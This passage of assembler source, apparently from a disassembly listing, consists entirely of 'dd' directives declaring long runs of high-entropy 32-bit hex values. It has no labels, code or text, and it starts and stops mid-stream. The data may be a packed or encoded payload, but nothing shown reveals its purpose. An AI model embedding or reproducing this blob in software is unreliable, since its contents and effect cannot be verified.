24B11622h, 0E8EA13F2h, 29DACB2h, 7DC25D0Dh dd 0D4A054F8h, 0FFF1DF1h, 0E6CF161Bh, 0C6601031h, 0B251C0DAh dd 8CA62183h, 320620h, 0A2B248E0h, 0B17C42B9h, 0BB919900h dd 6525CA03h, 0E0B39E1h, 0B7400509h, 6039B404h, 10555C2Bh dd 0B00311E0h, 5C1331h, 54286132h, 21C54B1Ah, 0EE745F12h dd 3071140Ch, 0E740200Eh, 50275700h, 226DF74Dh, 1B1C30AFh dd 78D3C628h, 2480DF4Dh dd 30B02C53h, 35293Ch, 0DE97A3CDh, 0F080CACEh, 4A5CB101h dd 0FA3F5E23h, 0D622A032h, 0E2C32200h, 0E1CA7E35h, 0EEC472D8h dd 0D4620432h, 0D031FE54h, 9EF7374h, 0AC9A8D00h, 5EF7879Bh dd 213C98BDh, 2C11E1CFh, 525C2E80h, 88A729E0h, 5C163200h dd 8FF773h, 0B1D668C0h, 13076392h, 0A1E1C230h, 7D1EAC7h dd 62B0E51Bh, 999B0020h, 0CF0C73EEh, 3042EF0Ch, 5E4C062Fh dd 84A3130h, 5C58F826h, 0E2AC943h, 0EBD80718h, 6F007EB0h dd 9C0A91D3h, 925B47h, 2C487C87h, 0FA68F38Eh, 6D58807Ch dd 8CEDE874h, 0AEB66500h, 509209B7h, 7B0C013Ch, 0F8190B6Fh dd 9905C755h, 4329CCE8h, 5237B007h, 0DE8F3F31h, 0E810FB31h dd 1250AC3Eh, 8FBE1E0h, 0CAC716C0h, 0C3584331h, 5A881218h dd 75A60022h, 0D6D414D2h, 0FE0C2687h, 8158FB3Eh, 10AE005Fh dd 984BB7B0h, 0BB0B35C6h, 210DA476h, 0A1645EF8h, 90C2F996h dd 0ED5D9404h, 0DC09FD7Ah, 8AABD165h, 2174B47Ch, 928131EEh dd 0ED3925D5h, 0DFC6F180h, 72E4CAABh, 0D3EFB4FCh, 5B0179E0h dd 9056C202h, 90C53214h, 11B25034h, 887E222Ch, 3DD97EFh dd 0ED4DB006h, 9CA9A1C0h, 0B891F87Ah, 3FB73A83h, 0F80CE776h dd 24DC3040h, 0F7805E26h, 985D9B2Ah, 8C19B726h, 58031110h dd 0FAD788E0h, 0A6732838h, 4616EC0Fh, 0DA488460h, 2B3910B6h dd 80EBC80Eh, 6DDD2FFAh, 3701CEB0h, 38A63477h, 9E3E9A4h dd 0DAC1FD58h, 8BB58420h, 0A60CF375h, 809D69A2h, 12C492C6h dd 2F843205h, 28082310h, 47AA7h, 8DDA4ECDh, 0C5B05B06h dd 1D4CF859h, 3B0A075Dh, 0DA82B89Dh, 804388E6h, 861984A0h dd 18D0BA1Ch, 0D9E0D6DEh, 0FCA128F4h, 24E83C41h, 81AC8EDh dd 449C4721h, 49506106h, 5BDE6560h, 5D2C47D4h, 0B840C387h dd 6E261107h, 0C990F317h, 246D053Bh, 2CE0223Fh, 0FFB140ACh dd 97B85299h, 8BC1EF00h, 0F82EE5FBh, 615E3242h, 1860BDB1h dd 9C9818A5h, 61BF4030h, 3F283739h, 0B0ACA84Bh, 0ED4F0106h dd 736E8211h, 3008A24Ch, 6C39BAF4h, 181DC811h, 0F8A9FB3Bh dd 5149963h, 0D295B460h, 24617420h, 52BC3015h, 904021CBh dd 48D4664h, 1DD57BEFh, 408CC862h, 0E721BB61h, 0A5C0E26Bh dd 29978D1h, 0B742F78Bh, 9C683081h, 3891D7C2h, 801F003Bh dd 0D2480676h, 97209F0h, 0A881BE93h, 0C4D9522Fh, 2904EB40h dd 0B96349C6h, 6E280A2h, 2D154032h, 905A09EDh, 0BC00AA55h dd 0C1741E3Ch, 0AC9FDE29h, 861812D1h, 2D3038h, 93DB9107h dd 0C05958F7h, 4982B779h, 0ED24C862h, 9BEE0FEh, 9D6A68A3h dd 80EE11F8h, 0E05346F7h, 0D87E286Ch, 0B8500BD4h, 18AFE7D0h dd 6051A04Dh, 6B0197E3h, 0CCD444B7h, 8472FCA9h, 4A010723h dd 6E222AB2h, 0E7803463h, 0D20CB221h, 9F64E801h, 0D5DCF4A9h dd 15D7CC20h, 880E0289h, 3A5DE305h, 70D423h, 265B09Ch dd 0CA165EFBh, 8C0C5056h, 0E6799Fh, 28FD6F0Ch, 0A3380FEFh dd 0D09940E6h, 0FC3D402Fh, 8670F110h, 0B32701AFh, 7F45DC98h dd 0C0A835D6h, 0C586DB4h, 3C8F2E6Ch, 89F96708h, 4C0A4C37h dd 0D02428B8h, 0BC940808h, 0FA15784Dh, 6303D847h, 0E717B18Ah dd 7640B9C0h, 2C1EAD17h, 1C106C01h, 446264D4h, 148CAA05h dd 6D84031Dh, 56A2C190h, 35ADB700h, 34640923h, 0A4009CEAh dd 5AFB3F41h, 13AB688h, 229BF610h, 0D0A4CBA5h, 0A203EE62h dd 0F159BE97h, 0B0918F4Ch, 1C24F929h, 0B9DE7C53h, 663802D8h dd 0A8825478h, 786169B0h, 29D2F030h, 0A4627B25h, 0C9631360h dd 1B5844D8h, 0B9DF658Ch, 19A2805Dh, 0E491F1E1h, 533F023Dh dd 58F63C02h, 0F84A26C8h, 360F4008h, 1B00643Ah, 549AD001h dd 18573EA6h, 0B8F38998h, 0EC14745Dh, 794E90Ch, 52D103D6h dd 4D9F58A1h, 31076066h, 7839C9DDh, 234FE8C4h, 7F96DDA3h dd 27147AD8h, 7CA53CC0h, 61B0BEF3h, 0EB760D3h, 0D841DE91h dd 0F7442403h, 0CD5E00Ah, 4E849CAAh, 2301EA8Ch, 7410B1B7h dd 4A175C88h, 0A0F081CEh, 447C9841h, 0B424E055h, 8C245059h dd 8441D6Bh, 80693203h, 0A82E0CD4h, 14F204F3h, 0E4B1F856h dd 50266300h, 0AC04783Fh, 2CA459F7h, 0A829F3B8h, 0EAFDF200h dd 3B3E1519h, 8B10CC01h, 0D3185836h, 24317171h, 783F7440h dd 0FC5D04A9h, 0C481D022h, 0AC7887C0h, 504847B1h, 306F0184h dd 0FACF29A4h, 20D48832h, 574312B8h, 2DF07C00h, 193D78C0h dd 5F2722F4h, 6DE005E0h, 4C4ACCEh, 0B8713132h, 9B15EFCh dd 0D9804690h, 44CB048h, 76454E00h, 0DEFDE58Ch, 0A0900EC3h dd 0A1A7D3D8h, 0EA601DAh, 0ABC424A3h, 10B76305h, 0B0219CF8h dd 2840DAD0h, 0EC9BCC2h, 7D6460D9h, 0AA430560h, 5602A82Dh dd 2AAEADB2h, 82EC6210h, 79391220h, 0B36600F8h, 98C6951Bh dd 0BF4E7400h, 1C627917h, 0BCBA0053h, 64DAD390h, 277A2E6Fh dd 1758C72Dh, 80EB11A0h, 0F60A3FEDh, 0DB40024Dh, 0D534D442h dd 149EE082h, 9AC04C4Dh, 0B8C2336Fh, 0F6EEEC00h, 27534E8Fh dd 0DA2FD110h, 0F473ECFAh, 4E85820h, 0A4663DB7h, 28A88104h dd 88684B7Dh, 9380CFEEh, 8F0322F5h, 0D868B416h, 11632C1Fh dd 0DA9860BFh, 9E3F2A6Ch, 56D908D8h, 0FC853900h, 498746D8h dd 54C48419h, 605CCCA1h, 666C61Ch, 0F53F1680h, 0FFDE4921h dd 0F1E04C71h, 0FAC30094h, 117FAA15h, 807D54EEh, 0A63918B1h dd 0D46090EAh, 0C54090AEh, 8583C488h, 0DB8C00F8h, 0EC797C3Ah dd 202DCCA1h, 0B7886B38h, 35454B14h, 883C8BB8h, 0A85FC015h dd 2021835h, 22D2048Ch, 4084A0D8h, 93F0ACDCh, 180CD1E8h dd 902878A5h, 781CB1DCh, 1863203h, 88550741h, 0E076AC3Eh dd 0A0999C4Dh, 83282294h, 0D22FB255h, 46746h, 29B24CDCh dd 0D8054516h, 1B086B0Ch, 0D6785080h, 0F04005A0h, 814A236Fh dd 10D8659Ch, 508C5701h, 9079D0EDh, 24C4650h, 39CCDA46h dd 10E9311Bh, 0EEDD2E24h, 4158031Ah, 56AB9E84h, 0E4B4848Dh dd 5E54F86Ch, 74035BECh, 0C55131A3h, 3F6E989Fh, 5D8B47Ch dd 0B08AE71Ch, 74005674h, 3D976AA0h, 0A07D684Eh, 7E362ED0h dd 2260B22Ah, 0A81631F7h, 3C472D5Dh, 0E0B32F19h, 5EF6A84Bh dd 1ABA28E2h, 88F701DCh, 9C7402D6h, 0EA698076h, 292E0E7Dh dd 1C20E9BAh, 0C15F0130h, 42480CE4h, 0CCABE96Ah, 7373F9A0h dd 0CB7DFA0Eh, 0C030CFD4h, 0C1388865h, 0CA450064h, 0DF9C79A2h dd 4F1EA340h, 3000A171h, 0EC782F20h, 1DE000F6h, 50D926Dh dd 0CB0075FBh, 0AD7406CCh, 0BA226h, 0A1B162B9h, 3FB4E36Ah dd 2A7F55E8h, 0CCE10E01h, 6E2F5D67h, 3CD8D2D2h, 0AC5047C2h dd 5EF89451h, 12001046h, 0B6916368h, 7613E343h, 54120C74h dd 2DB6C60h, 154D3F47h, 9D12B80h, 0BC8C9C7Bh, 5D271890h dd 2248233Ch, 1E682BFh, 3DC10287h, 314C54h, 6AA64447h dd 0B6DFB664h, 0F0467638h, 9BF90176h, 8CA90E89h, 7AD86854h dd 9C13F72Ch, 31ED215Eh, 0B8891380h, 4C4E54F8h, 6D019807h dd 1E3B6353h, 48BC6C83h, 0EDB41C44h, 0D83DB8F2h, 22E4638h dd 0E0545C2Ch, 17103159h, 615C14F0h, 88CB5065h, 0F5D93075h dd 0C410F689h, 0A5174F00h, 6E9B643h, 416E002Bh, 0F8E637F3h dd 49D35358h, 9BF1008Dh, 7209D062h, 6063AA64h, 64688CA1h dd 0A1FB640h, 7F02B340h, 4855054h, 0DA456049h, 133925CDh dd 27002C16h, 4BFEDD2Dh, 6E69E42h, 0A4E721A1h, 735260D1h dd 30EAE228h, 833C7D38h dd 0CE3C12D6h, 0FF2264A0h, 2C24EFF1h, 90F4543Fh, 0A5DE0147h dd 0E0ECA903h, 61AC64D0h, 0B0E2B15h, 0D2470580h, 8840A420h dd 0AE18440h, 2D5E7CFBh, 0D0AEE41Eh, 406E3C03h, 0D5747001h dd 59F812D0h, 0D38F4838h, 533CD097h, 211281B8h, 0CCC80B2Eh dd 0F9A11FDFh, 0F3C46A3h, 0FF0BE03Eh, 23AF1E38h, 0C45E23F4h dd 470088EDh, 666796F2h, 2B25084Fh, 0EDA00B4Ah, 1ABC0DCh dd 0C400E7C9h, 0CCB6DB0Ch, 10901Fh, 0ADE12F11h, 5E5044A2h dd 9E143A48h, 0D760EC45h, 64D39C05h, 0EBF214B3h, 4FF7FD30h dd 3C882156h, 0C0F2A2Ah, 311C84DAh, 252164A4h, 20406087h dd 0DB0FE16Eh, 99050B0Dh, 8095E958h, 0C894801Ch, 76222D0Bh dd 0DE802065h, 0AB97B21Eh, 14EBEC27h, 0DC04B1F8h, 409FDA84h dd 0FF8405B6h, 263F2C1Bh, 14923D98h, 821C4034h, 13EDD29h dd 0B5525907h, 8208C61h, 959C5C80h, 7A562420h, 7828201Dh dd 0A70B2CDEh, 0CA9AD496h, 870C4B8h, 0D620EC74h, 19BC3E0Ch dd 12BD0E97h, 0C1E036F4h, 8AF9CE24h, 8618D304h, 14815CA4h dd 1FE5B84Eh, 0F8254469h, 80519424h, 1A7BCB92h, 32549000h dd 3B3102D2h, 0CFD1297h, 574C03B7h, 7802E1D0h, 28A7BAB0h dd 80466D3h, 0EE40BF02h, 0D3FE6E0Eh, 0F223902Fh, 25A8ED16h dd 85337101h, 4A41E6A1h, 3203C424h, 0A4DF9030h, 12E04C00h dd 871FB12Bh, 5CD3E81Ah, 3082CC20h, 3CD005A4h, 0E021D219h dd 86C5319h, 0C086DAC1h, 54E8501Ch, 0F8328722h, 5C3F101Eh dd 0FAEE80A4h, 19552FAAh, 252DE000h, 638FB376h, 3F961D84h dd 0A5B9C24Eh, 50E64A9Dh, 0E3391B1Ch, 5CC13680h, 4ED53BB3h dd 0AB982C49h, 5432D889h, 5165CA00h, 9C67694Dh, 15A9BA0Ch dd 0A80FE0C7h, 0A92123F0h, 86D48318h, 1FFB02F9h, 1E4EE01Ch dd 0E545FCD0h, 1EFF1930h, 2BEA88Ch, 1F8D6FEBh, 5D5BA0F8h dd 0DAD2A800h, 412CF53h, 2BE7E139h, 525CC027h, 98BC57F8h dd 0D44E4740h, 6EB080F7h, 0E8BBAE02h, 0DA7381C0h, 0FAD4264h dd 229862B7h, 584A64D8h, 0EC63E824h, 0C1E76366h, 0D9010DC2h dd 0D7F2EF0Ch, 0ECEC54C6h, 53053D41h, 0A0929300h, 3772EEEh dd 0B7523A00h, 0B550AF3Fh, 7A4DB8A3h, 0D0C24CD1h, 9BCE3E80h dd 0C0024A13h, 955D70E8h, 39D0513Dh, 8025DF2Dh, 6824E4D8h dd 0ECC04DE8h, 0C8A25590h, 0E3C70562h, 0A2D2DEBAh, 4C6E0808h dd 0A4F80705h, 0BA2E420Dh, 4E4E4C5h, 8F34BC60h, 0B8FA6FF2h dd 9612B177h, 6420C0F5h, 1B91C2ABh, 0C0BECA76h, 30587AE2h dd 465C0CBCh, 952D0E0Bh, 386800C0h, 90A011A4h, 2F6D1258h dd 88B8A34Ch, 4201CF56h, 3C4510B7h, 12144C68h, 0A84144DFh dd 5BFB392Dh, 0E0903180h, 832B916Ah, 7F006670h, 338B1EDh dd 26F8697h, 31BF3C2Fh, 3C933047h, 0D490587Fh, 5891A202h dd 58ED79B0h, 31421830h, 5B576125h, 465C6CB4h, 0D56601E5h dd 3812C0B8h, 0F8F29B31h, 0E7EB2274h, 0CC3276FEh, 0C26218E6h dd 78A051B0h, 178631EDh, 50E677Dh, 0D1382DF8h, 0E6E8AF4Ch dd 30E2B801h, 820F1826h, 89E94E5Bh, 16612CD1h, 0B3405C2Ah dd 4C806E27h, 75805034h, 20AFB70h, 982B11Ch, 0D7AE2B00h dd 0AC1118h, 0EAD953EFh, 0F2186BAh, 18585744h, 9837D264h dd 1B089C76h, 25D696B3h, 46434E5h, 0F02B3B61h, 12004BFFh dd 20445DB8h, 41D774D2h, 82A86956h, 72284Eh, 22E1B758h dd 0BCB45F26h, 38CCDF93h, 0F871402Fh, 0F497E8B6h, 1E8D86B0h dd 0EFEC7B3h, 24805D76h, 42E5680Eh, 64EB2104h, 0ACD3D846h dd 3CB0B0BDh, 0B85858FFh, 4812C900h, 0E71CD3FBh, 1447820h dd 64E67156h, 209674E0h, 40CFA78Ch, 140E46DAh, 505D6390h dd 5ED36DE2h, 6E53C00Eh, 0B5926FB7h, 6F6600A4h, 3C06D69Bh dd 8CB9241Eh, 6E2301D8h, 60E5AE57h, 0EE021CA8h, 9CA18053h dd 0F8805098h, 6C90A9D0h, 4ADAC0h, 3AD4CC6Eh, 0CB544473h dd 941DB301h, 0B64E3DB9h, 6F535980h, 18F47583h, 882CE648h dd 5C25C037h, 2121E04Bh, 2D176003h, 5B007D5Ch, 6FBB2B44h dd 0B031E560h, 32392094h, 4A440098h, 0A9BE6040h, 0D92E685Ch dd 50779112h, 8E3BA004h, 0DABD04ACh, 28EF930h, 0DE6CF8CCh dd 2FC34594h, 401019C1h, 485F02BCh, 9C3FE1C0h, 2E572EA7h dd 41A827EDh, 0A7E2B02Bh, 44946750h, 300860D1h, 0A8805D86h dd 9B7C503h, 47E256D3h, 72CA10E9h, 8CDB4A1Ch, 0FAC53981h dd 0B3F98046h, 1C36F083h, 2D1903DFh, 0FBE4237Fh, 9909DEC6h dd 85FCE8D4h, 6C53E07Ch, 0EEC8A88Ah, 4C6F56C0h, 19F7195h dd 3F64DC8Ah, 3B145576h, 0C7173C48h, 5773BCDh, 5CF24625h dd 30C51987h, 0ED512E86h, 64931B4Bh, 40AAA853h, 0CA090BEAh dd 44016249h, 403F1EFBh, 0F72A2C60h, 34B14726h, 0D366D90Eh dd 72AFF891h, 12D39C24h, 1FEBDD64h, 6A9D1FA8h, 37C409ECh dd 48D1DA5Fh, 6D180F79h, 4C5AC238h, 0FC4278h, 0C9F974B8h dd 7C6D4975h, 87E40035h, 0D9B79114h, 6B291713h, 571384Bh dd 3C337218h, 0A458D81Bh, 0E292A8F8h, 30D4B224h, 909836C7h dd 0A2E65825h, 7E82ABCh, 9DC8B28Fh, 2D597450h, 0EC3C17A4h dd 7CD0AC25h, 0E1C144h, 0D6DE72CBh, 2CFEC9D7h, 1D2DCC17h dd 4051FC0Eh, 0FEB400Bh, 554A0746h, 79A339CFh, 0AE450E5h dd 509EEC60h, 0AAC2D000h, 0D432C672h, 8C099F28h, 53600082h dd 376E4F01h, 2B4EAC26h, 320610E4h, 0DB4B7FC0h, 47053CD6h dd 7E662661h, 21E03882h, 0C25B3E09h, 35971CECh, 0E1EE00E8h dd 0A83F28F9h, 0E0163F98h, 2809500Dh, 0C45CE55Bh, 95E60D1h dd 58521321h, 30B090D8h, 0AF7256ADh, 28200098h, 8B124BFDh dd 0C5F0C824h, 0E5CC0086h, 0D7C6745Dh, 5302AF0Bh, 0F8DA3Fh dd 6D9A131Bh, 46BC4B80h, 588C3E4Ah, 0C2124BB8h, 7220D034h dd 11824E0h, 7D753AF1h, 0D9739F82h, 80032EE3h, 8A21DAD3h dd 3220592Dh, 28495D08h, 3565E128h, 7A182028h, 1CB81498h dd 600C0295h, 250CF850h, 60E2D023h, 0CAA25C64h, 361D7852h dd 0CFC0F51Dh, 12A85A9h, 0B9B87414h, 18F0D1D4h, 0A13A04AEh dd 854DE3B1h, 984C916Bh, 0ECF2D679h, 276D520h, 2190572Bh dd 1CE8E0BFh, 0BF703Fh, 477AF430h, 98B9480Bh, 61C48878h dd 0A562961Bh, 58E0A140h, 1E38EC50h, 1871D8E3h, 2184F0B4h dd 8C0857DFh, 0DD342D2h, 0BDC0100Ah, 2F1D9C60h, 942096C0h dd 8F64D433h, 0A0A4E94Dh, 6061B7h, 0EBC83B58h, 9D7439F3h dd 31D0A602h, 76FA184Eh, 0FDE48888h, 0C5699C2Ch, 60F2E4B8h dd 0F39D340h, 4F98B9E6h, 2034E548h, 9FE004E6h, 4D023E02h dd 15980A08h, 6BACE15Ch, 8C4AC820h, 0C2DA4402h, 590F4B39h dd 2C26400Ch, 9049DDDh, 0D98D6C92h, 470BECBDh, 8EF664B3h dd 1B18CC1Fh, 0B232C81h, 65301721h, 780B7400h, 36064EECh dd 37645E54h, 0E8F80029h, 0CB9C492Ah, 0E41661B5h, 8CE32C21h dd 8AC66204h, 0E91C809Bh, 0E6E8AA74h, 33C0EECh, 0F7B20017h dd 72060C3Eh, 12023A89h, 63087130h, 2E196261h, 3D83E31h dd 11CF0D0h, 9CFF411Bh, 0E021E69Eh, 0E1E7DEBh, 33A28DAh dd 94232AFAh, 310A62Dh, 0C991B6D2h, 0F8C0A5E0h, 674A6B64h dd 48E91C80h, 29FC51h, 0BD5FDD44h, 0F338F1CCh, 0B819E4Ch dd 48FB6139h, 41A9FE0h, 40030134h, 893CF4B7h, 0DC76CD75h dd 0BA3E47EAh, 29909CAFh, 83807D5Dh, 0C22FD017h, 0D731C3E3h dd 8AD038C0h, 8CC0DE29h dd 32C593FBh, 6AC701B4h, 8EA6D868h, 7D7065AAh, 763D16A0h dd 0E862B101h, 0A0E411C9h, 28E6002Ch, 2F9415D0h, 8D181F95h dd 11B15CFBh, 1A8A00BCh, 6ACB82C9h, 93D3CB8h, 0A82A007Dh dd 0BA20D3Fh, 5A79BDh, 61D04D30h, 0BCD2B399h, 0E4E13827h dd 983B00E8h, 96939B0h, 3E3C0EF0h, 4B10287h, 0D422FEB6h dd 0F1544050h, 7600FB29h, 9D17705Eh, 3DF3742h, 221ADE5h dd 10D04128h, 0C600F074h, 0B047CCE6h, 1BB2586h, 0FF2F82E4h dd 0D49567B6h, 290B7BDAh, 13E8830h, 7F644749h, 4EBDCC40h dd 0E0F700EBh, 15DF7708h, 1C075306h, 0E479EC0Fh, 0C413BE47h dd 0F177C10Ch, 0A508A0D2h, 609A15EDh, 0E8B4315Dh, 50609F1Bh dd 305F5E10h, 4804ACAFh, 10608967h, 6B1FFBE5h, 0BF216360h dd 6D850DCh, 69F3F043h, 0F430090Ah, 0EC1F2024h, 0C5790353h dd 0EE68B434h, 0D1361900h, 6AD7CCEAh, 79410021h, 1DF5C60Bh dd 0F000DA0Ch, 0BC4A4543h, 0C0DB0D7Eh, 626A989h, 29006698h dd 81CDB738h, 391062E1h, 97A8D250h, 8CE80658h, 116AB4D5h dd 6FB5BE00h, 0C4764844h, 80DF3390h, 2100AC08h, 66F3D9Fh dd 0FEF958DDh, 0A9BE61E9h, 87D90D7Fh, 854D7459h, 80EDE0B3h dd 0A35A55h, 99E27C6Ah, 0DD57F5C7h, 4F94CB00h, 5885E868h dd 0FBDB1529h, 0DD80981Ch, 0D843D550h, 0F222F043h, 53714A7Eh dd 48904501h, 0DC84F464h, 418A7DDDh, 80CC1757h, 370D58A9h dd 0CD0093B4h, 28990E8Fh, 7DD67Fh, 4B84AC02h, 112B8B32h dd 0FCE95C60h, 3EFE0C0Bh, 3A2EAD66h, 5950214Eh, 0C618F4h dd 1D3D7B76h, 0C5B42065h, 0B65D40h, 0E7F8548h, 886E865Ah dd 0AD76C203h, 72F64F0h, 2A46D0B9h, 0BF41B2ABh, 0C7D19CC0h dd 211D6130h, 2A19F2h, 8D4E6F83h, 48A6ADB7h, 64F9411Ch dd 5F84007Ch, 4B859167h, 2CFA0120h, 4506331h, 0FD45093h dd 0C70FA201h, 320F716h, 0E31E9F2Ch, 0D6210008h, 0B88DA1FAh dd 71072BA4h, 0CFF1EE87h, 0A08F6872h, 0F82FD784h, 0F8F8956Ah dd 5B0D1100h, 0A5365D88h, 689F6C5h, 3CE2F2F0h, 8B0930FCh dd 2A856AB1h, 0E0114044h, 476FA680h, 448C7E48h, 3A3F9E93h dd 3D5D006Fh, 28B4774Bh, 2A26EA25h, 8C1564h, 0B0B8245Bh dd 0FB52BEC8h, 6F289500h, 4FEEEC0Dh, 4D7D00C5h, 45633A09h dd 860C3432h, 608BFBB6h, 0E6E30362h, 0DD3EADD5h, 7A77509Eh dd 23CC58F3h, 0A37E2A3Fh, 141129h, 192A1AE3h, 0C0ABB1DCh dd 3C9538B9h, 7D1D4189h, 3500B511h, 0F79D685Ah, 661300BAh dd 0CBBCF8Ah, 0A60A8525h, 0E455C944h, 8A4864B8h, 0A58DFE02h dd 4F70E044h, 90B28E18h, 0F874F211h, 62100E85h, 0E5842B8Dh dd 0D6F4888Ch, 6FA8028Ch, 0D00E47FDh, 0B49C0016h, 6931466Fh dd 61C3DE0Dh, 8898CF7Ah, 0AEC9BF6h, 928F4B11h, 0A5511E8h dd 842D45ADh, 7FC39080h, 28D8061Fh, 34B42B31h, 3A908D0Fh dd 9723FCh, 0A6F1CA32h, 867BB3A4h, 7C91A806h, 0F9A10DA9h dd 2A059C42h, 776011E8h, 0E882652Ah, 31940D30h, 6C648h dd 592A15F9h, 17621310h, 632E9CA0h, 40E24684h, 4814498Ch dd 0B09CC8AEh, 196F50A0h, 480FD9A4h, 0FE198069h, 0DFCDB088h dd 6598A1ABh, 73E28027h, 0D0A7C5E3h, 84A96596h, 0A68DD50Ah dd 484184AEh, 2023FDC9h, 0BA41AD31h, 8F2FCC75h, 2CF17F00h dd 0FAF3E0DBh, 82D202A3h, 22658B59h, 61E6E0A1h, 947F4D0h dd 0F086F500h, 8C4B346Fh, 0ADFCF5F6h, 62CA2408h, 83EF1190h dd 0DAB42A45h, 10163119h, 52A1CE5h, 0B26D94AEh, 494049Fh dd 39B7078Ch, 591E6610h, 21589823h, 0DB810CAEh, 0C711E1A1h dd 0D0880418h, 76A11DECh, 5C0AC029h, 0C24032B3h, 8863C326h dd 84AEB60Ah, 0E07EA38Fh, 10D618E6h, 8F8E00FEh, 0F5C1634Ch dd 21014B92h, 2D49DC20h, 0FFEC96ADh, 0EA498ACh, 4C507075h dd 46EC3D00h, 266345AEh, 0C04E90D9h, 522D2B5Ah, 0AB12FC5Dh dd 948A0FC6h, 20F2AC81h, 3A62EC02h, 0CF01C49Bh, 0E716DDA1h dd 0EC880718h, 53A100F0h, 4CA6EF97h, 24B2C4B4h, 0DD88900h dd 0EA12FBAEh, 98DC037Ch, 0A88B4E47h, 4100D5E3h, 3274C023h dd 714CB95Ah, 94CF002Ch, 0A2DF6106h, 632B36C8h, 0FD01B4B4h dd 0D711DBA1h, 0EA880318h, 38A101D6h, 7643E5ABh, 7B5873A9h dd 1442B800h, 98EFDA01h, 349B0A9Fh, 0C95BEAh, 0BD1D07D0h dd 6A01CD57h, 0ACE4B7DCh, 98705D27h, 0C7028C46h, 0C843F750h dd 10E819F1h, 0EC53DF20h, 1047CCCh, 80F198D4h, 50250DADh dd 5B95F9C8h, 0AA609279h, 3B0914B9h, 0BFFA094Fh, 8A8A565h dd 28A96094h, 0AF000F5Ah, 0F2C46484h, 1FE479ADh, 0D23BBB59h dd 4F4C4043h, 0A45DD4AEh, 589338E0h, 40EC56BFh, 1651DC94h dd 0DAA40CA0h, 0EBEF88h, 0E0CAD4A1h, 75DFDC32h, 5B2B8813h dd 0F6901C27h, 0C8A524h, 0DC5A85EAh, 0C6797343h, 9C26FBEEh dd 215EECD1h, 0D4875EC1h, 3850C52Ah, 7ACC6ECh, 3C9BDC16h dd 0A4187B7Bh, 0F9073FE9h, 0A99F6091h, 1E36CAF0h, 0A7740053h dd 4C236E24h, 0C8A8B868h, 1800392Bh, 1A492E27h, 54026BF1h dd 307D2C5Bh, 68F9DF0Dh, 540C5721h, 4011716h, 0B4905E8h dd 0C4C14F1Bh, 6FD680B8h, 0D600FFA7h, 537BBD33h, 59ECEA5h dd 0D80BCAF9h, 0E7F8D3ABh, 5C628126h, 47CCED40h, 3C4C006Dh dd 0F0AE7A66h, 90003DC2h, 0E1F7330h, 4DC7EA25h, 242E0CBAh dd 24501150h, 440E862h, 9988B65h, 4186BE3Ah, 31BB2491h dd 0B6F842A7h, 0A800F0C4h, 0E386D6C4h, 76E0F7h, 0E8F6C8EAh dd 52CCE7F4h, 8DD9BE00h, 17C9E661h, 63FD3A50h, 0AC30ACAEh dd 1C465EFCh, 584F6500h, 0BB8ABF28h, 0E7DB0A0Eh, 73F4F595h dd 2364B800h, 0D98C37F6h, 8C85831h, 20903D8Bh, 0C200CB8Dh dd 3AB520EDh, 4A32BFE4h, 0A7204068h, 190C8F44h, 0DB7A5E00h dd 5699055h, 47AE0C98h, 0F729F541h, 8D7431F8h, 39FD6D00h dd 56777EA9h, 0D1B22C23h, 98465EA0h, 0C91DC003h, 0FCB0D284h dd 0A89AF20Ch, 23202500h, 3F632D3Ch, 2C5601BCh, 0EFAAF73Eh dd 0B8B82CDAh, 9F008CE6h, 2F5F4F09h, 1D29598h, 5BFDA3CAh dd 501F6523h, 0B13D37B8h, 0C76DD003h, 88389515h, 30345C01h dd 2C1C4671h, 8207AA49h, 0FE3B7E58h, 0B0D40170h, 0A7250128h dd 1BDE6BA5h, 4B2C2CFCh, 0FBE49F81h, 162B6185h, 66DC46C2h dd 0E600C190h, 72EB81FCh, 1CFB05B6h, 806E84F4h, 1A6F7CF8h dd 0F8B8707Eh, 4FC82806h, 0D9C568h, 45219804h, 0B9DEEF15h dd 0E005FBE2h, 0ABA47C8Dh, 8B2CFC40h, 0D7F2F6h, 0CE3CACAEh dd 2E82D603h, 39A78605h, 34C0027Fh, 6B64E2Ch, 0D6F38C5Eh dd 0D00F026h, 12B99F0Bh, 2C4D63DAh, 25B82BA7h, 6FD49C20h dd 0C1022ED1h, 0E3711112h, 8AF4810Dh, 0E44473B4h, 0D984F8C5h dd 0FCAE8004h, 3FD8C8h, 0CE53E3BDh, 2D92E7E4h, 1F3CA400h dd 0A85DC869h, 85440135h, 0E1EAC016h, 3E48EC77h, 331A531Ch dd 0EE2B000h, 0EBBB07h, 0F1B925DDh, 0E9E7E61Dh, 7827D83Eh dd 2C7918C0h, 2B7FFD0Dh, 61204BFEh, 0E646D2h, 0FFDA8F4Ah dd 32D4FD0h, 793D0A04h, 0DC00658Dh, 0FD4E4308h, 0A6CDFEh dd 83EC3722h, 0A9C907AEh, 20A5ED74h, 54800218h, 83741BAh dd 4F3B1214h, 8CCF80ECh, 7F0504BBh, 65413D24h, 26781680h dd 5381F293h, 1BFED9E8h, 4143915h, 47086534h, 48B98042h dd 0A0A135B8h, 71B50F0h, 0CC6F45D6h, 718DF0F8h, 792854C4h dd 6D57E8CDh, 0A816E004h dd 76E7C2Fh, 19B39F8Ch, 0F4AD0EFh, 7403EAE0h, 45CFA811h dd 98A1DB16h, 6F8F8DCDh, 8470298Eh, 0F042DD42h, 60218FAh dd 20922487h, 80CEAF29h, 3E88F3DCh, 125E8895h, 88978088h dd 3F88F4A8h, 85A898Bh, 0B49044C2h, 86A22284h, 40792660h dd 73750Ch, 0B6E945FBh, 0BF12DC9Dh, 0CCED4277h, 0B003E31h dd 67B0608Bh, 0EBB62FF7h, 44C360h, 47331FD9h, 18CB3B42h dd 75146E01h, 0A757EBD6h, 3591E0h, 300D6D0Bh, 2F96681Ch dd 0ED592E00h, 725A38E4h, 3FCA0050h, 0F46684C4h, 650033C9h dd 360E81A1h, 25797Fh, 13F14164h, 30806DC6h, 54EBF03h dd 365C756h, 18649E1Ah, 2FF328B2h, 74905ED0h, 0BFD0771Ch dd 0B94F8780h, 4B9472h, 0ED170E46h, 31EB0A8Fh, 2BA1DE03h dd 0C0B77424h, 1D5532h, 18D9FEE4h, 0B2FFB18Fh, 68C0DA09h dd 0E086003Eh, 0E003726Eh, 12C40733h, 0F55B91BEh, 796180B6h dd 92607838h, 52AEC016h, 86B704E2h, 0C5E30A99h, 7BDC8125h dd 7A30204Eh, 3E8C1554h, 2A7D0100h, 0E8E328E7h, 462B0034h dd 8C80CF10h, 0C00029D7h, 5E20A73h, 388A3ACh, 59E3FF61h dd 5FD08294h, 4C0193F3h, 9A818BA7h, 11822F1Eh, 